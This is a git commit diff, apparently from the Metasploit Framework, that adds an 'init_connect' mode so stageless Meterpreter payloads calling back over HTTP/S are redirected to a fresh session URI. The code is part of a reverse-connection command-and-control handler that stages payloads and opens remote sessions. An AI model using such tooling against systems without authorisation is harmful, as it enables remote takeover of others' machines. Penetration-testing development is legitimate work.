Add support for init_connect for stageless payloads

This new mode for HTTP/S stageless allows the stageless payload to be
reused without MSF believing that the session has already been
initialised.
bug/bundler_fix
OJ 2015-04-14 16:33:01 +10:00
parent c2a252face
commit 4e49964c15
3 changed files with 39 additions and 14 deletions

View File

@ -3,6 +3,7 @@ require 'rex/io/stream_abstraction'
require 'rex/sync/ref' require 'rex/sync/ref'
require 'rex/payloads/meterpreter/patch' require 'rex/payloads/meterpreter/patch'
require 'rex/payloads/meterpreter/uri_checksum' require 'rex/payloads/meterpreter/uri_checksum'
require 'rex/post/meterpreter/packet'
require 'rex/parser/x509_certificate' require 'rex/parser/x509_certificate'
require 'msf/core/payload/windows/verify_ssl' require 'msf/core/payload/windows/verify_ssl'
@ -19,6 +20,7 @@ module ReverseHttp
include Msf::Handler include Msf::Handler
include Rex::Payloads::Meterpreter::UriChecksum include Rex::Payloads::Meterpreter::UriChecksum
include Msf::Payload::Windows::VerifySsl include Msf::Payload::Windows::VerifySsl
include Rex::Post::Meterpreter
# #
# Returns the string representation of the handler type # Returns the string representation of the handler type
@ -222,8 +224,6 @@ protected
uuid.arch ||= obj.arch uuid.arch ||= obj.arch
uuid.platform ||= obj.platform uuid.platform ||= obj.platform
print_status "#{cli.peerhost}:#{cli.peerport} Request received for #{req.relative_resource}... (UUID:#{uuid.to_s})"
conn_id = nil conn_id = nil
if info[:mode] && info[:mode] != :connect if info[:mode] && info[:mode] != :connect
conn_id = generate_uri_uuid(URI_CHECKSUM_CONN, uuid) conn_id = generate_uri_uuid(URI_CHECKSUM_CONN, uuid)
@ -233,7 +233,25 @@ protected
# Process the requested resource. # Process the requested resource.
case info[:mode] case info[:mode]
when :init_connect
print_status("#{cli.peerhost}:#{cli.peerport} (UUID: #{uuid.to_s}) Redirecting stageless connection ...")
# Handle the case where stageless payloads call in on the same URI when they
# first connect. From there, we tell them to callback on a connect URI that
# was generated on the fly. This means we form a new session for each.
sum = uri_checksum_lookup(:connect)
new_uri = generate_uri_uuid(sum, uuid) + '/'
# This bit is going to need to be validated by the Ruby/MSF masters as I
# am not sure that this is the best way to get a TLV packet out from this
# handler.
# Hurl a TLV back at the caller, and ignore the response
pkt = Packet.new(PACKET_TYPE_RESPONSE, 'core_patch_url')
pkt.add_tlv(TLV_TYPE_TRANS_URL, new_uri)
resp.body = pkt.to_r
when :init_python when :init_python
print_status("#{cli.peerhost}:#{cli.peerport} (UUID: #{uuid.to_s}) Staging Python payload ...")
url = payload_uri(req) + conn_id + '/' url = payload_uri(req) + conn_id + '/'
blob = "" blob = ""
@ -268,6 +286,7 @@ protected
}) })
when :init_java when :init_java
print_status("#{cli.peerhost}:#{cli.peerport} (UUID: #{uuid.to_s}) Staging Java payload ...")
url = payload_uri(req) + conn_id + "/\x00" url = payload_uri(req) + conn_id + "/\x00"
blob = "" blob = ""
@ -296,9 +315,9 @@ protected
}) })
when :init_native when :init_native
print_status("#{cli.peerhost}:#{cli.peerport} (UUID: #{uuid.to_s}) Staging Native payload ...")
url = payload_uri(req) + conn_id + "/\x00" url = payload_uri(req) + conn_id + "/\x00"
print_status("#{cli.peerhost}:#{cli.peerport} Staging connection for target #{req.relative_resource} received...")
resp['Content-Type'] = 'application/octet-stream' resp['Content-Type'] = 'application/octet-stream'
blob = obj.stage_payload blob = obj.stage_payload
@ -335,9 +354,10 @@ protected
}) })
when :connect when :connect
print_status("#{cli.peerhost}:#{cli.peerport} (UUID: #{uuid.to_s}) Attaching orphaned/stageless session ...")
resp.body = "" resp.body = ""
conn_id = req.relative_resource conn_id = req.relative_resource
print_status("Incoming orphaned or stageless session #{conn_id}, attaching...")
# Short-circuit the payload's handle_connection processing for create_session # Short-circuit the payload's handle_connection processing for create_session
create_session(cli, { create_session(cli, {

View File

@ -38,7 +38,10 @@ module Handler::ReverseHttp::Stageless
host = datastore['LHOST'] host = datastore['LHOST']
host = "[#{host}]" if Rex::Socket.is_ipv6?(host) host = "[#{host}]" if Rex::Socket.is_ipv6?(host)
url = "http#{opts[:ssl] ? "s" : ""}://#{host}:#{datastore['LPORT']}" url = "http#{opts[:ssl] ? "s" : ""}://#{host}:#{datastore['LPORT']}"
url << "#{generate_uri_uuid_mode(:connect)}/"
# Use the init_connect mode because we're stageless. This will force
# MSF to generate a new URI when the first request is made.
url << "#{generate_uri_uuid_mode(:init_connect)}/"
# invoke the given function to generate the architecture specific payload # invoke the given function to generate the architecture specific payload
opts[:generator].call(url) do |dll| opts[:generator].call(url) do |dll|

View File

@ -10,18 +10,20 @@ module Rex
# Define 8-bit checksums for matching URLs # Define 8-bit checksums for matching URLs
# These are based on charset frequency # These are based on charset frequency
# #
URI_CHECKSUM_INITW = 92 # Windows URI_CHECKSUM_INITW = 92 # Windows
URI_CHECKSUM_INITN = 92 # Native (same as Windows) URI_CHECKSUM_INITN = 92 # Native (same as Windows)
URI_CHECKSUM_INITP = 80 # Python URI_CHECKSUM_INITP = 80 # Python
URI_CHECKSUM_INITJ = 88 # Java URI_CHECKSUM_INITJ = 88 # Java
URI_CHECKSUM_CONN = 98 # Existing session URI_CHECKSUM_CONN = 98 # Existing session
URI_CHECKSUM_INIT_CONN = 95 # New stageless session
# Mapping between checksums and modes # Mapping between checksums and modes
URI_CHECKSUM_MODES = Hash[ URI_CHECKSUM_MODES = Hash[
URI_CHECKSUM_INITN, :init_native, URI_CHECKSUM_INITN, :init_native,
URI_CHECKSUM_INITP, :init_python, URI_CHECKSUM_INITP, :init_python,
URI_CHECKSUM_INITJ, :init_java, URI_CHECKSUM_INITJ, :init_java,
URI_CHECKSUM_CONN, :connect URI_CHECKSUM_INIT_CONN, :init_connect,
URI_CHECKSUM_CONN, :connect
] ]
URI_CHECKSUM_MIN_LEN = 5 URI_CHECKSUM_MIN_LEN = 5